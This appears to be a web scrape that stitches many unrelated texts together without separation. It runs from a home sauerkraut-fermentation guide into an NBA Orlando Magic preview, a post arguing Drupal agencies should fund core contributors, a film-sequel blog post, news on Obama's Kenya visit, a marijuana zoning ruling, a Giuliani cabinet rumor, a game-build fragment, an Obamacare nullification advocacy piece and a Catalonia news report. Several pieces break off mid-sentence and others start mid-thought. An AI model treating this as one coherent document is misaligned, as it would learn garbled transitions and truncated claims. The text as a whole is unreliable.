Best Cabbage For Sauerkraut Cabbage: The Basis Of Your Kraut A lot of people would balk at the idea of eating raw cabbage. In it's rawest state, it's not that tasty. But after the fermenting magic takes place, 'raw' cabbage becomes a delicious condiment. Sauerkraut is generally eaten as a condiment, although I did go through a stage of eating a ton of it with almost every meal. There are a wide variety of cabbages out there. Red, white, green, Napa, Chinese, the list is almost endless. Summer and fall cabbages. Cabbages are essentially a cool climate vegetable. They can all work great for making sauerkraut. If I had to choose, I tend to prefer the crispy white or red cabbage as my go-to choice. I think the crunchiness remains once the ferment is complete. I tend to prefer a little 'bite' to my sauerkraut. But the choice is yours. Experiment! For the purposes of this kraut making guide, let's assume a head of cabbage weighing around 2 lbs. This tends to be about the weight of a medium sized, densely packed cabbage. If you are using a less dense type, then just adjust the quantities approximately. You might need 2 small heads. I believe that if you are going to make kraut, it's worth making a good amount each time. The process of shredding and packing into a crock or jars doesn't require a lot more time whether you are doing one 2lb head or two. The prep and clean up is around the same. For your information, I use a 5 liter fermentation crock and this can store 2-3 heads of cabbage (depending on size). If you just want to try one head on your first attempt, go for it. What To Look For In A Cabbage This might seem like a little too much information, but it's worthy of noting. Getting good quality cabbages as the basis for your kraut antics is sensible. Who'd want to use sub-standard ingredients? If you want to make a big batch of kraut (reasons to do so are mentioned above) then you need to be looking for the freshest cabbages. During the growing season, cabbage should be firm, shiny, with crisp leaves. Older cabbages which have been stored for sale in the off-season can often be dry and flaccid...Yikes! Checking the outer leaves for signs of damage, cracking, bruising, and any other 'injuries' that make you think this isn't fresh or well stored. Avoid damaged or plastic wrapped cabbages wherever possible. Ideally, if you get to love yer kraut, growing some cabbages in the garden and harvesting them at the perfect time is a wonderful way to ensure you maximize the nutritional content of your sauerkraut. But don't let a lack of a garden stop you, just aim for the best raw ingredients you can and get going.
Choosing The Best Salt For Your Sauerkraut Salt: The Fermentista's Magic Ingredient Although salt is not strictly essential for fermentation to take place, it is a necessary ingredient for making sauerkraut and other fermented vegetables. Salt acts as a preservative, it inhibits the growth of harmful bacteria while allowing the healthful bacteria to thrive. Salt, when added to cabbage and other vegetables, also causes the leaves to release their stored water, causing them to become soft. Check out this article on the best salt for fermenting. Don't panic, most salts will work fine, just avoid highly processed salt with additives and anti-caking agents. The general 'rule of thumb' is 1 tablespoon of salt per 2 lb head of cabbage. Ok, so let's get into the bare bones of making your first batch of kraut. I'll be discussing spices and herbs you can add to customize your kraut recipe, and also some other veg you can add to give it some different flavors and a splash of color.
How To Make Sauerkraut From Scratch - Step By Step
Let's get started. If you've never made sauerkraut at home before, or if you have some experience but just want a refresher, I've listed below (with pics) the process I use to make incredible kraut every time. Here's a quick video to show the process, which I'll be expanding on below.
Step #1 - General Hygiene
Preparing Your Workspace And Equipment
Nothing fundamentally technical here. As with any form of cooking, ensuring some basic hygiene, wiping down surfaces, washing out jars, fermentation crock and utensils in some warm soapy water, rinse and leave to drip dry. That's all that is required, no need to sterilize jars.
Step #2 - Cabbage Prep
Rinse Your Cabbage
Rinse the cabbage and remove any dirt. No need to add some sterilizing liquid to the water. Just wash off any dirt and dust. Then carefully remove the outer couple of leaves and place to one side. We'll be needing those a little later. If the very outer leaves are damaged, throw them away and retain the next inner set of leaves. Core And Shred Your Cabbage
For sauerkraut and other fermented products, the finer the shredding, the quicker the fermentation process, and the better the end result. Imagine huge chunks of cabbage core in your kraut, it's not going to be pleasant to eat, and it's unlikely to be properly fermented. I recommend this approach. Cut your cabbage into quarters and then chop out the dense, woody core. A large sharp knife makes this really easy. Throw those hard cores into a bin to throw on the compost pile if you have one.
On a sturdy chopping board, finely shred the cabbage with the knife. Don't worry if it's not always uniform in size, near enough is good enough.
You certainly can use a food processor to shred, but I have found that although it seems less work, by the time you have shredded a 1/4 cabbage at a time, emptied the processor bowl, and done this 8 times for 2 heads of cabbage, a knife is actually a lot easier.
Another option, once you really become a kraut master, is a cabbage shredder. This is like a large mandolin. You simply run the cabbage backward and forwards over the blade and it shreds it quickly and easily. Awesome for really big loads, but for a single family fermenting operation, a knife still wins for me.
Step #3 - Add Salt to Your Cabbage
Salt, as mentioned, is an essential part of the sauerkraut making process. As I said, 1 tablespoon of salt per 2 pound head of cabbage is a good starting point It's certainly possible to add too much salt. I like to add salt as I place the shredded cabbage into a bowl or plastic tub. By sprinkling it over your shredded cabbage a little at a time, it's automatically well mixed and begins the process of breaking down the the structure of a cabbage and releasing the water that is held within. So, as an example. For 2 heads of cabbage I would put 2 tablespoons of salt into a small pot right at the start. I'd quarter and core my cabbage. Then as I shredded it and threw it into a large plastic bowl, I'd sprinkle some of the salt over as I went. If you are doing a small batch, say, one head of cabbage only, it's fine to just add the salt at the end and manually mix it in
Taste your cabbage/salt mix as you are making it. If you mix it with your hands, have a taste and the salt is overpowering, just add some more cabbage and add no more salt. Test again at the end. The 'prescription' I have given you already is pretty universal and creates a kraut that is not overly salty. But tastes vary so play with it a little. It's certainly worth creating a little recipe book for your favorite fermented vegetable recipes. Having something to go back and look at is super useful. Experience is great, in the end you'll be able to do all this stuff intuitively, but still, having some fave recipes saved for future use is pretty nice. envira Top Tip Always taste the cabbage as you add salt. Some salt is better than too much salt. 1 tablespoon of salt per head of cabbage is an average that works most times.
You may find that for different cabbage varieties you need to vary the salt, having a record of what worked before, and what wasn't so great will make you a much more successful kraut-meister in the long run.
Step #4 - Give Your Kraut A Loving Massage
After washing your hands, you can dive in and start mixing and squeezing the life our of your shredded cabbage and salt mix. By turning and squeezing, you are helping release the water from the cabbage. Almost immediately, the cabbage will become limp and start to glisten. It will quickly become wet as more and more water is released. You'll see water starting to pool in the bottom of your container.
If you are doing a large batch, massaging the cabbage can be hard work. It often takes 10 minutes or so of vigorous hand work to complete the job (hmmm, that sentence just sounds kind of wrong to me). If you are feeling lazy, or do not have strong hands, just covering the container and leaving the mix for 30 minutes, returning, mixing and resting again can get a lot of the early work done for you. Letting the batch sit when the salt is mixed in is a great idea for larger batches. In fact, if you keep mixing every hour or so, after 6-8 hours, the cabbage is limp and there will be a large amount of brine resting in the bottom of the bowl. Let the salt do the work!
Time To Add Some Spices
Now, you're ready to add some spices if you wish, and pack into the fermentation crock or jars. We're almost done!! I really like to just use a basic addition like some Caraway seeds to create an sauerkraut recipe, but you can also get adventurous and add one if these: Dill
Juniper Berries
Bay Leaves
Hot Chillies
Coriander
Whole Cloves
Fresh Cranberries I'd start with the traditional caraway seeds and then experiment. It's pretty hard to mess things up. What Happens If You Don't Have Enough Brine? The brine solution in the bottom of your container is ultimately going to be poured over the cabbage that is compressed into the crock or jars, just enough to cover the surface of the vegetables and keep air from getting to them. Depending on how much water your cabbage was holding, or your success at releasing it through manual massage or the'mix and wait' method, you may or may not have enough brine to cover the surface in the crock. No panic! So start by pouring any residual brine water from the container over the compressed cabbage in the crock. That is the starting point. If you have very little water in the container, but feel that the cabbage is not really salty enough, you could add some more salt and wait for the water to be released. However, I'm all for compressing the shredded cabbage into your crock, see what the liquid levels look like, and then fixing it at that point. Options To Increase Liquid Content Compress your cabbage into the crock with a cabbage pounder. The kraut will release more water as you do this, and as long as there is enough brine to adequately submerge the cabbage, all is well. If not, you can top of the crock with a little filtered water. Ideally adding seperate brine water to the mix is not always the best idea, it has been known to cause discoloration of the cabbage. You may have some other liquid that you would like to use to flavor your kraut. Freshly squeezed lemon, lime, grapefruit or orange juice can work well. You could also add other vegetables that release a lot of water. Onions, turnip, grated carrots or beets. Grate or shred them, salt lightly and massage as before. Add them, and the water to the crock. Some people like to add whey to their kraut. I have certainly done this, although it is not essential at all. It's hard to find good quality raw whey. If you make your own kefir milk and let it separate a little, there is plenty of whey on hand to use, but for now, I would not use whey, certainly not until you have your kraut skills off to a fine art.
Step #5 - Time To Pack The Fermenting Crock
Your bowl may well have large quantities of water at the bottom, and it might look like it will never all fit into the crock. Start slowly, adding a handful of the wilted cabbage to the crock, pressing it down with your fist of a cabbage pounder. Any flat bottomed utensil will do. A potato masher does a good job.
As you add more, compress and repeat, you will notice more and more liquid beginning to rise. This is perfect! Your crock is full when there is a gap or around 4 inches between the top of the kraut and the rim of the crock. You'll want to keep this 'headspace' as the kraut needs room for expansion. Over time, more liquid will be released and gasses will build up and be released via the water gutter and lid mechanism. Don't forget, you will have some weighting stone which will also need to be placed in the crock. Fill it too much and you are guaranteed to have liquid on the counter top. Before adding any extra liquid and the stones, take the 2 cabbage leaves and lay them over the surface of the compressed kraut in the crock (that's a nice little phrase ins't it?). Try to push the edges of the leaves down the shoulder of the crock with your fingers. This set of leaves is often referred to as the 'primary follower'.
What you are trying to do here is preven the shredded cabbage from rising to the top and poking it's head above the surface of the water. Using those whole leaves or not, won't make or break the operation, but it's just another nice little trick to keep the kraut below the surface of the water. Next up, add the weighting stones, known as the'secondary follower'. See a theme emerging here? Lay these in on top of the cabbage leaves. If you have filled your crock to perfection, you will need to press these stones down and they will wedge into place just below the neck of the crock.
Step #6 - Top Up With The Remaining Brine
If the cabbage leaves are well below the surface of the liquid, call it a job well done. If not, add a little of the remaining brine solution (or filtered water, fruit juice) to top up so the liquid just covers the tops of the stones. That's it, perfect! Ready to stick the lid on.
Time To Close Things Up If you are using a crock for fermenting, you'll most likely have a water gutter that the lid sits in. Take the crock to the final resting place where it will sit during the ferment. Then half fill the gutter with water, place the lid and have a cuppa.This NBA offseason has been very eventful, and we’re only a few short weeks away from the start of team training camps. To help bridge that gap for hoops junkies, we here at numberFire will be rolling out our projections for next season in the form of team previews, starting at 30 and going all the way to number one. We continue today with the 25th-ranked Orlando Magic!
The Orlando Magic are still getting fruit from the Dwight Howard trade a couple years ago, so it’s reasonable to expect them to continue to improve as they bring in talent and develop their existing ones. Victor Oladipo could turn out to be the best or second-best player from last year’s draft, and the front office has a lot of hope in new draft picks Aaron Gordon and Elfrid Payton. The talent is there; this year is all about development.
numberFire Metrics
Projected Record: 33-49
Eastern Conference Rank: 12th
NBA Rank: 25th
nERD: 38.8
Playoff Chances: 18.14%
Championship Chances: 0.20%
Our algorithms predict a big jump in total wins this year, as we have them winning 33, a whopping 10 game increase from last year’s final tally. While their playoff chances (18%) still aren’t very high, they’re a big jump up from the previous teams in our power rankings. If their young players continue to develop as we expect, they should move to true playoff contention within a couple of years.
Player Movement
Notable Additions
Aaron Gordon (via draft)
Elfrid Payton (via draft)
Channing Frye (via free agency)
Ben Gordon (via free agency)
Luke Ridnour (via free agency)
Evan Fournier (via trade)
Notable Losses
Arron Afflalo (trade)
Jameer Nelson (to waivers)
Losing Afflalo will hurt, as he was one of the more underrated wings in the league last year on both ends of the floor. However, they think highly of incoming player Evan Fournier, and probably want to give significant minutes to Oladipo and Payton. Bringing in Channing Frye at his contract was questionable, but his shooting is something this roster sorely needs. The Ben Gordon signing I can’t defend.
Three Burning Questions
What will be the starting five?
The safe spots at the moment seem to be Victor Oladipo, Channing Frye, and Nikola Vucevic. Filling out the other two will depend on additional questions. Is Oladipo going to run the point? If so, do either of their new additions in Gordon or Fournier get the nod? Another option would be to mimic Phoenix’s two guard sets and roll out Oladipo and rookie Elfrid Payton together.
The wing spot is just as complicated. Their top pick of the draft, Aaron Gordon, is still very raw so will likely come off the bench early. The small forward spot for the Magic is very athletic at the moment – Maurice Harkless, Tobias Harris, and Gordon can all be good wing defenders, and the latter two can probably move to power forward in small lineups. Getting minutes for all of these guys will be a challenge for the Magic coaching staff, but they aren’t short on young talent.
Will they be the worst shooting team in the league?
Shooting is going to be a problem for the Magic this year. Their top draft picks were both poor shooters in college – we know of Gordon’s woes, but Payton was also bad, shooting only.259 from three-point land last season against inferior competition. Oladipo is still developing his shot and has shot selection issues. Harkless isn’t a shooter and Harris is taking threes, but only hitting them at a low.254 rate as of last season. The Magic did bring in sharpshooter Channing Frye to offset these worries, and paid a premium for him. But when he’s not in the game, opposing defenses will sag miles off these guards and wings.
What is the defensive potential of this team?
While the Magic were awful offensively last season, ranking 29th out of 30 in offensive rating, they were much better on the defensive end. They weren’t the Pacers or Bulls, but they were league average, posting a 107.4 defensive rating. For a young team, that stat is full of optimism for the future. Add in the immense defense potential of rookie Aaron Gordon, as well as another year for Oladipo, and things look very bright. They’ll probably be around league average again this season, but this roster has top-five potential in a couple years, especially if they get some additional rim protection.
Fantasy Hoops Stock Watch
PG/SG Victor Oladipo (Yahoo O-Rank: 58)
Oladipo finished the year as the 136th-ranked player on Yahoo, so this O-Rank is certainly optimistic. One thing he has going for him – he has SG eligibility, which is the most shallow position in fantasy basketball. That alone gives him extra value outside of his ranking. It’s probably a good bet that he’ll improve in his second year, and with Jameer Nelson gone, Oladipo is the guard for the Magic. He does a little bit of everything – he’ll get you points, rebounds, assists, and steals. But he’s not a great three-point shooter at this point (which is nice to have at your guard spots) and hurts you in the efficiency categories. And oh yeah, he turns it over a ton. He could be a good pick-up at the right price, but be aware of his flaws if you draft him.
PF/C Channing Frye (Yahoo O-Rank: 109)
Talk about a bargain. I thought about talking about Vucevic here, who averaged a double-double and his O-Rank of 42 is one he outperformed last season. But Vuc you’ll get at value; Frye you’ll probably get way below his value. The Magic gave him a sizable four-year contract this offseason and he will be a big part of their offense. As mentioned above, he’s really their best offensive threat, especially in terms of efficiency. Also, having a guy in the PF/C that can get you a couple three-pointers a game is immensely valuable. Frye in the 10th/11th round? Yes, please.I've long been convinced that every well-run Drupal agency of 30 people or more can afford to hire a Drupal core contributor and let him/her work on Drupal core pretty much full-time. A healthy Drupal agency with 30 people should be able to do $5MM in revenue at a 15% net profit margin #1. This means they have $750k in profits that can be invested in growth, saved as reserves, or distributed among the owners.
There are many ways you can invest in growth. I'm here to argue that hiring a Drupal core contributor can be a great investment, that many Drupal agencies can afford it, and that employing a Drupal core contributor shouldn't just be looked at as a cost.
In fact, Chapter Three just announced that they hired Alex Pott, a Drupal 8 core maintainer, to work full-time on Drupal core. I couldn't be more thrilled. Great for Alex, great for Drupal, and great for Chapter Three! And a good reason to actually write down some of my thoughts.
The value of having a Drupal core contributor on staff
When Drupal 8 launches it will bring with it many big changes. Having someone within your company with first-hand knowledge of these changes is invaluable on a number of fronts. He or she can help train or support your technical staff on the changes coming down the pipe, can help your sales team answer customer questions, and can help your marketing team with blog posts and presentations to establish you as a thought-leader on Drupal. I believe these things take less than 20% of a Drupal core contributor's time, which leaves more than 80% of time to contribute to Drupal.
But perhaps most importantly, it is a crucial contribution that helps ensure the future of the Drupal project itself and help us all avoid falling into the tragedy of the commons. While some core contributors have some amount of funding — ranging from 10% time from their employers to full-time employment (for example, most of Acquia's Office of the CTO are full-time core contributors) — most core contribution happens thanks to great personal sacrifice of the individuals involved. As the complexity and adoption of Drupal grows, there is a growing need for full-time Drupal contributors. Additionally, distributing employment of core contributors across multiple Drupal organizations can be healthy for Drupal; it ensures institutional independence, diversified innovation and resilience.
Measuring the impact of a Drupal core contributor on your business
While that sounds nice, the proof is in the numbers. So when I heard about Chapter Three hiring Alex Pott, I immediately called Chapter Three to congratulate them, but I also asked them to track Alex's impact on Chapter Three in terms of sales. If we can actually prove that hiring a Drupal core contributor is a great business investment, it could provide a really important breakthrough in making Drupal core development scalable.
I asked my team at Acquia to start tracking the impact of the Drupal core contributors on sales. Below, I'll share some data of how Acquia tracked this and why I'm bullish on there being a business case.
For Acquia, high quality content is the number one way to generate new sales leads. Marketers know that the key to doing online business is to become publishers. It is something that Acquia's Drupal developers all help with; developers putting out great content can turn your website into a magnet. And with the help of a well-oiled sales and marketing organization, you can turn visitors into customers.
Back in December, Angie "webchick" Byron did a Drupal 8 preview webinar for Acquia. The webinar attracted over 1,000+ attendees. We were able to track that this single piece of content generated $4.5MM in influenced pipeline #2, of which we've managed to close $1.5MM in business so far.
Even more impressive, Kevin O'Leary has done four webinars on Drupal's newest authoring experience improvements. In total, Kevin's webinars helped generate $9MM in influenced pipeline of which almost $4MM closed. And importantly, Kevin had not worked on Drupal prior to joining Acquia! It goes to show that you don't necessarily have to hire from the community; existing employees can be made core contributors and add value to the company.
Gábor Hojtsy regularly spends some of his time on sales calls and helped close several $500k+ deals. Moshe Weitzman occasionally travels to customers and helped renew several large deals. Moshe also wrote a blog post around Drupal 8's improved upgrade process using Migrate module. We aren't able to track all the details yet (working on it), but I'm sure some of the more than 3,200 unique viewers translated in to sales for us.
Conclusion: investment returned, and then some
Obviously, your results may vary. Acquia has an amazing sales and marketing engine behind these core contributor, driving the results. I hope Chapter Three tracks the impact of hiring Alex Pott and that they share the results publicly so we can continue to build the business case for employing full-time Drupal contributors. If we can show that is not just good for Drupal, but also good for business, we can scale Drupal development to new highs. I hope more Drupal companies will start to think this way.
Footnotes
#1 I assumed that of the 30 people, 25 are billable and 5 are non-billable. I also assumed an average fully-loaded cost per employee of $125k per head and gross revenue per head of around $180k. The basic math works out as follows: (25 employees x $180k) - (30 employees x $125k) = $750k in profit.
There are 365 days per year and about 104 weekend days. This means there are 260 business days. If you subtract 10 legal bank holidays you have 250 days remaining. If you subtract another 15 business days for vacations, conferences, medical leave and others, you have 230 business days left. With a blended hourly rate of $130 per hour and 75% utilization, you arrive at ~$180k gross revenue per billable head.
I confirmed these numbers with several Drupal companies in the US. Best in class digital agencies actually do better; they assume there are 2,000 billable hours in a year per head and maintain at least a 85% chargeability rate (i.e. 1,700 billable hours per head). Many companies do less because the maturity of their business, the market they are in, their geographic location, their ambitions, etc. It's not about what is "good" or "bad", but about what is possible.
#2 "Influenced pipeline" means that the content in question was one factor or touch point in what ultimately lead potential customers to become qualified sales leads and contacted by Acquia. On average, Acquia has 6 touch points for every qualified sales lead.You remember the film ‘My Name is Bruce’ – right? Staring Bruce Campbell. What? You don’t? Sure you remember – watch this trailer that should help you remember.
You still don’t remember well here is the story plot anyway, [singlepic id=1042 w=320 h=240 float=right]
Four teenage kids from the tiny mining town of Gold Lick vandalize a nineteen-century cemetery of Chinese laborers when one of them disturbs a demon who’s been guarding the souls of 100 workers killed in a cave-in. Jeff, the surviving teen, goes in search of his hero, over-the-hill B-movie star, Bruce Campbell. Jeff kidnaps the actor and brings him to Gold Lick to save the town. Bruce thinks it’s a birthday treat engineered by his agent, so he plays along, humoring the townsfolk and chatting up Jeff’s unimpressed mom. Bodies pile up as the demon slashes. What will the sorry, boozy Bruce do when he realizes that Guan-Di, the demon, is for real?
The reason I mention this amazing film is because there is word out on the internetz that a sequel for ‘My Name is Bruce’ will start production this fall and it will be called, Bruce Vs. Frankenstein. You can imagine what the story line will be and what Bruce will be set up against.
Bruce is credited as saying,
“The fans deserve to know, so with great trepidation I officially announce Bruce Vs. Frankenstein, the sequel to My Name is Bruce. Principal photography begins this fall in Oregon.”
I am looking forward to this new addition to the Bruce catalog and to see the chins of Frankenstein and Bruce Campbell go at it chin to chin.
What do you think are you looking forward to this film?By AGGREY MUTAMBO
More by this Author
US President Barack Obama has revealed that he is looking forward to visiting Kenya next week.
However, he would have preferred to make the trip as a private citizen due to the logistics involved in travelling as head of State, he said.
“It’s obviously something I’m looking forward to,” Mr Obama told journalists at the White House in Washington DC, on Wednesday. I’ll be honest with you, visiting Kenya as a private citizen is probably more meaningful to me than visiting as President because I can actually get outside of a hotel room or a conference centre.
“And just the logistics of visiting a place are always tough as President, but it’s obviously symbolically important.”
The US leader said he intends to use the visit to show support for East Africa, which is battling rising extremism and threats from terrorism.
“(We can) build on the progress that’s been made around issues of health and education; focus on counterterrorism issues that are important in East Africa because of Al-Shabaab and some of the tragedies that have happened inside of Kenya,” he said.
The US Government has maintained in the past that it is supporting Kenya’s counter-terrorism efforts. In May, Secretary of State John Kerry told journalists in Nairobi that the US would give Sh9.6 billion in the fight against Al-Shabaab, as well as help in intelligence gathering and sharing.
Yesterday, an Al-Shabaab leader and his accomplice were killed in a US drone strike inside Somalia, while the Kenya Defence Forces said they had killed 51 terrorists in another attack, also in Somalia (see stories on Pages 4-5).
In his address, President Obama also said that he would press for expansion of the democratic space and greater commitment in the fight against corruption when he visits Nairobi for a global entrepreneurship conference that opens on July 24.
“We will hopefully continue to encourage democracy and the reduction of corruption inside that country that sometimes has held back this incredibly gifted and blessed country. My hope is that we can deliver a message that the US is a strong partner not just for Kenya, but for Sub-Saharan Africa generally,” he said.
Kenya has been battling to tame corruption and several senior government officials have been taken to court on corruption charges.
A consortium of human rights groups wrote an open letter on Tuesday, asking Mr Obama to address human rights abuses and lack of freedoms in Kenya. The Kenyan Government officially denies there is any plot to muzzle activists.
Mr Obama will be visiting Nairobi from July 24 for the first time as President of the US to attend the Global Entrepreneurship Summit (GES), one of his flagship programmes to support the youth and women against poverty.
More than 3,000 business leaders, policy makers, investors and entrepreneurs are expected to attend the event — the first in sub-Saharan Africa.SOUTH KINGSTOWN, R.I. — A Superior Court judge has ruled that the South Kingstown Zoning Board used "tortured reasoning" in finding that a medical marijuana grow operation is not allowed in downtown Wakefield.
Judge Bennett Gallo ruled that the board was wrong to conclude that Jordan Carlson's licensed grow operation constituted "agricultural products manufacturing" and as such was not allowed in the Commercial Downtown Zoning District. Gallo called the board's finding that growing marijuana amounted to manufacturing "an exercise in tortured reasoning" that ignores the plain meaning of the zoning ordinance.
According to the ruling, town Building Official and Zoning Enforcement Officer Jeffrey O'Hara issued Carlson a notice of violation in April 2014. The violation was based on police reports generated after the South Kingstown Fire Department responded to an alarm at 17 Columbia St., a former movie theater that Carlson rented from Campus Cinema LLC.
O'Hara wrote that he had learned there was agricultural manufacturing on the property that was prohibited under the zoning ordinance.
Carlson appealed to the Zoning Board, which held a hearing in July 2014. At that hearing, O'Hara acknowledged that he relied "solely" on the police reports and had not entered the building. He based his conclusion on the end product he believed Carlson was producing, the ruling says.
A neighbor also testified about a "smoky" scent coming from the former cinema when the wind blew in a certain direction, the ruling says.
The Zoning Board upheld O'Hara's notice of violation, 3-2, in a written decision that was entered into the land evidence records. The board found that "marijuana cultivation taking place on the premises constitutes agricultural manufacturing and thus was barred in the downtown district."
The board wrote that some type of processing is necessary to "render usable marijuana from a marijuana plant." It compared marijuana production to canning tomatoes, finding that "large-scale processing of marijuana was taking place" at 17 Columbia St.
Gallo noted that "in fact, plant agriculture is permitted in all zones in Rhode Island," under the state enabling act. He also noted that the state Medical Marijuana Act defined usable marijuana as the dried leaves and flowers of a marijuana plant or any mixture thereof.
"Manufacturing entails more than simply drying out plants," Gallo wrote. "If an individual grows some plants then harvests those plants and dries then, that individual has not manufactured anything."
Gallo found that there was no evidence in the record that anything beyond growing was taking place.
O'Hara said he respected the judge's ruling.
“They're making these laws faster than anyone can read them," he said, adding "I can't understand it."
He said Carlson has since used the building for occasional shows.Editor’s Note: This is an exclusive tip from Gerson Borrero’s weekly section in City & State magazine, “Bochinche and Buzz.” To subscribe to the magazine, click here.
“Yeah, Rudy's got it.”
A well-connected Republican insider has assured Bochinche & Buzz that former New York City Mayor Rudy Giuliani will be President-elect Donald Trump's pick for secretary of state. In fact, the Deep Throat bochinchero tells B&B that close Trump aides are already making calls to line up Rudy's top staff at the State Department.
The source also assured us that Giuliani has already been offered the post and that he has accepted. The one condition of that deal was that Giuliani has to lay low until Trump plays out a few moves with Mitt Romney.
“If there’s still someone special in the Republican ranks, it’s Romney,” |
higher than your Arcane so that Chantodo's deals fire damage. I only display Fire % because I prioritize that over Arcane for our Chantodo's set.
Paragon Priorities
Core Movement Speed Primary Stat Vitality Maximum Resource Offense Cooldown Reduction Critical Hit Chance Critical Hit Damage Attack Speed Defense Armor Life Resist All Life Regeneration Utility Area Damage Resource Cost Reduction Gold Find Life on HitCOLUMBIA S.C., Dec. 11, 2014 – The fight to nullify Obamacare in South Carolina continues with a bill introduced in the state House by Rep. Bill Chumley earlier today.
Over the last two years, Chumley, along with Sen. Tom Davis, led a bold effort to reject the federal act in the state. Chumley’s 2013 bill, H.3101, and Davis’ amendment to it, garnered national attention, but ultimately was not given a full vote in the state legislature due to a parliamentary technicality.
But Chumley is back for round two, and his new bill starts from a powerful position. Based on the Davis amendment to H.3101, which had widespread support in the Senate, it would be a significant blow to implementation of Obamacare in the state. Some call it a “nullification in practice.”
Called the “ACA Anti-Commandeering Act,” House Bill 3020 (H. 3020) addresses large areas of Obamacare and bans state participation or enforcement.
The legislation prohibits the state from implementing or participating in the “establishment of a health insurance exchange,” or expanding Medicaid under the federal act. It also prohibits the state from taking actions to “assist in the enrollment of any person” in an exchange.
H.3020 also specifically targets the individual and the employer mandates. It prohibits the state from enforcing or even aiding in the enforcement of either section. This includes an express prohibition on the use of any “assets, state funds or funds authorized or allocated by the state to any public body… to engage in any activity that aids in the enforcement of any federal act, law, order, rule, or regulation intended to give effect to or facilitate the enforcement” of these mandates, or “any other portion of the ACA.”
Judge Andrew Napolitano has said that this action taken by a number of states would “gut Obamacare.” James Madison, writing in Federalist #46, said that such a “refusal to cooperate with officers of the Union” would create effective roadblocks to stop implementation of federal acts.
“The federal government can barely manage running a website,” said Mike Maharrey, national communications director for the Tenth Amendment Center. “If South Carolina withdraws all material support and resources from the implementation of Obamacare, this will effectively pull the rug out from under it in practice,” he continued.
Maharrey noted that the South Carolina Department of Insurance (SCDOI) would be banned from investigating or enforcing violations of federally mandated health insurance requirements and said this will “prove particularly problematic for the federal government.”
Insurance commissioners serve as the enforcement arm for insurance regulation in the states. The federal government has no enforcement arm. It assumed the state insurance commissioners would enforce all of the provisions of the ACA. So, when people have issues with their mandated coverage, they will have to call the feds. At this point, it remains unclear who they will even call should the SCDOI be prohibited from carrying out this essential task. Issues SCDOI would not address include prohibiting a denial of insurance for preexisting conditions, requiring dependent coverage for children up to age 26, and proscribing lifetime or yearly dollar limits on coverage of essential health benefits.
“Disputes over these mandates arise under federal, not state law,” said Georgia State Rep. Jason Spencer, who sponsored a bill to take this step in 2013. “The federal Department of Health and Human Services can be expected to seek to commandeer the machinery of Georgia’s commissioner of insurance to enforce them or to investigate alleged violations because at present there is no federal health insurance agency and Congress is not likely to create one given the substantial opposition to Obamacare. Under HB707, the feds won’t be able to do that. They’ll have to figure out how to do it themselves.”
Maharrey also noted that the South Carolina state and local employees would be banned from recording IRS tax liens that result from a failure to pay the Obamacare “tax.” Federal tax liens in South Carolina are recorded
Additionally, tax liens from the IRS for failure to pay the mandate’s “tax” penalty are recorded in South Carolinaby a county register of deeds or clerk of court. Passage of H.3020 would legally prevent South Carolina localities from participating in this action, lessening the effect of the mandate by allowing home owners, for example, to reduce the risk of refusing to comply.
NEXT UP
The legislative session in South Carolina begins on Jan 13, 2015. H.3020 was referred to the House Committee on Labor, Commerce and Industry where it will need to pass by a majority vote before the full house has an opportunity to consider it.
ACTION STEPS
In South Carolina (other states below)
1. Call your state representative. A phone call has far more impact than an email, so call them. Strongly, but with courtesy, let them know that you support H. 3020 and want them to co-sponsor and support the bill as well. If they do not commit to that, ask them why. If they don’t have an answer, let them know you’ll call back in a few days. Then do it again and again until you get the answer you’re looking for – a YES on H. 3020.
Contact info here: http://www.scstatehouse.gov/legislatorssearch.php
2. Call the committee chair. Be respectful – and ask him to give a prompt hearing and vote for H. 3020.
William E. “Bill” Sandifer, III
(803) 734-3015
3. Call all the other committee members. Strongly, but respectfully urge each of them to vote YES on H.3020. If they do not commit to a YES, ask them why, and if they remain undecided let them know you’ll follow up in a few days.
Committee members here: http://www.scstatehouse.gov/committeeinfo/houselci.php
4. Spread this information widely. Send it to your friends, local and state grassroots groups, and everywhere possible to get the word out.
All other states – ask your state rep and senator to introduce a bill similar to the one being considered in South Carolina. Contact info here: http://openstates.org/find_your_legislator/
Michael Boldin [send him email] is the founder of the Tenth Amendment Center. He was raised in Milwaukee, WI, and currently resides in Los Angeles, CA. Follow him on twitter – @michaelboldin and Facebook. http://www.tenthamendmentcenter.comMADRID (Reuters) - The Spanish government has secured opposition support for dissolving Catalonia’s parliament and holding new elections there in January in its bid to check the regional government’s push for independence.
The Socialists, the main opposition, said on Friday they would back special measures to impose central rule on the region to thwart the secessionist-minded Catalan government and end a crisis that has unsettled the euro and hurt confidence in the euro zone’s fourth-largest economy.
Prime Minister Mariano Rajoy, who wants opposition support to be able to present a united front in the crisis, has called an emergency cabinet meeting on Saturday to pave the way for Madrid establishing central control in the region.
The government would not confirm whether January elections formed a part of the package, with Rajoy saying only that the measures would be announced on Saturday.
However a government spokesman saw regional elections as likely. “The logical end to this process would be new elections established within the law,” said government spokesman Inigo Mendez de Vigo at a weekly government press conference.
It will be the first time in Spain’s four decades of democracy that Madrid has invoked the constitution to effectively sack a regional government and call new elections.
Head of state King Felipe used a prizegiving ceremony in the northwestern region of Asturias to indicate support for the government and affirm the unity of Spain, of which he said “Catalonia is and will remain an essential part.”
“Spain needs to face up to an unacceptable secession attempt on its national territory, which it will resolve through its legitimate democratic institutions,” said the monarch, a ceremonial figure who sharply criticized Catalan leaders earlier this month.
Rajoy wants as broad a consensus as possible before taking the step, which has raised the prospect of more large-scale protests in Catalonia, where pro-independence groups have been able to bring more than one million people out onto the streets.
Catalan leader Carles Puigdemont, a former journalist who is spearheading the secession campaign, has refused to renounce independence, citing an overwhelming vote in favor of secession at a referendum on Oct.1.
Spanish and Catalan flags hang from balconies in Madrid, Spain, October 20, 2017. REUTERS/Susana Vera
Regional authorities said around 90 percent voted for independence though only 43 percent of voters participated. Opponents of secession mostly stayed home.
ECONOMIC CONFIDENCE HURT
Spanish courts have ruled the referendum unconstitutional, but Puigdemont says the result is binding and must be obeyed.
The prolonged standoff has caused hundreds of companies to move their headquarters outside Catalonia and prompted the Spanish government to cut its economic growth forecast. The region accounts for a fifth of Spain’s economy.
In a test of investor appetite for Spanish stocks, housebuilder Aedas (AEDAS.MC) dropped over 6 percent in its debut on the Madrid stock exchange on Friday, although it later regained losses to trade close to its listing price.
The uncertainty surrounding the future of the region has rattled the euro. On Thursday, European Union leaders including Germany’s Angela Merkel and France’s Emmanuel Macron offered their support for Rajoy at an EU leaders summit in Brussels.
Slideshow (4 Images)
